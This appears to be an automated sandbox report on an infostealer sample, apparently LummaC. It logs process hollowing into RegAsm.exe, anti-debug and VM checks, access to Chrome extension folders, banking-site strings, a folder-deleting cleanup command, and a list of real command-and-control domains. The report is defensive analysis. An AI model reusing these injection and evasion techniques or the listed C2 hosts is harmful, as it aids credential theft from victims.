Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 527895	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 527748	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 527094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526391	Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: BGDGHJ.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: BGDGHJ.3.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: BGDGHJ.3.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>2+
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.0000000001425000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: BGDGHJ.3.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: BGDGHJ.3.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: BGDGHJ.3.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BGDGHJ.3.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: BGDGHJ.3.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: MFDBG.exe, 00000008.00000002.4524017140.00000000059D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BGDGHJ.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BGDGHJ.3.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BGDGHJ.3.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaref
Source: BGDGHJ.3.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: BGDGHJ.3.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BGDGHJ.3.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: BGDGHJ.3.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BGDGHJ.3.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGDGHJ.3.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: KKEBKJJDGH.exe, 00000007.00000002.2680160304.0000000000B0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}"N
Source: BGDGHJ.3.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: BGDGHJ.3.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: BGDGHJ.3.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-72752
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-72736
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-74077

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_00445D10 LdrInitializeThunk,

13_2_00445D10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0041D95C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_0041891A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h]	3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h]	3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418563 mov eax, dword ptr fs:[00000030h]	3_2_00418563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418562 mov eax, dword ptr fs:[00000030h]	3_2_00418562

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA,

3_2_0040884C

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041D95C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004275FE SetUnhandledExceptionFilter,	3_2_004275FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CFE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C17B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C17B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C17B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C17B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C32AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C32AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02A92131 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02A92131

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: EBGDHJECFC.exe, 0000000A.00000002.2904844296.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1017008	Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45D000
Source: C:\ProgramData\EBGDHJECFC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 112C008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KKEBKJJDGH.exe "C:\ProgramData\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EBGDHJECFC.exe "C:\ProgramData\EBGDHJECFC.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker	Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040111D cpuid

3_2_0040111D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0042B09C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_0042B191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	3_2_0042B238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_0042B293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	3_2_0042AB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	3_2_004253B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_0042B464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	3_2_0042746C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00427546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	3_2_0042B526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429D3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_0042E53F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_0042B5F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00428D94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	3_2_0042E674

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Queries volume information: C:\ProgramData\KKEBKJJDGH.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
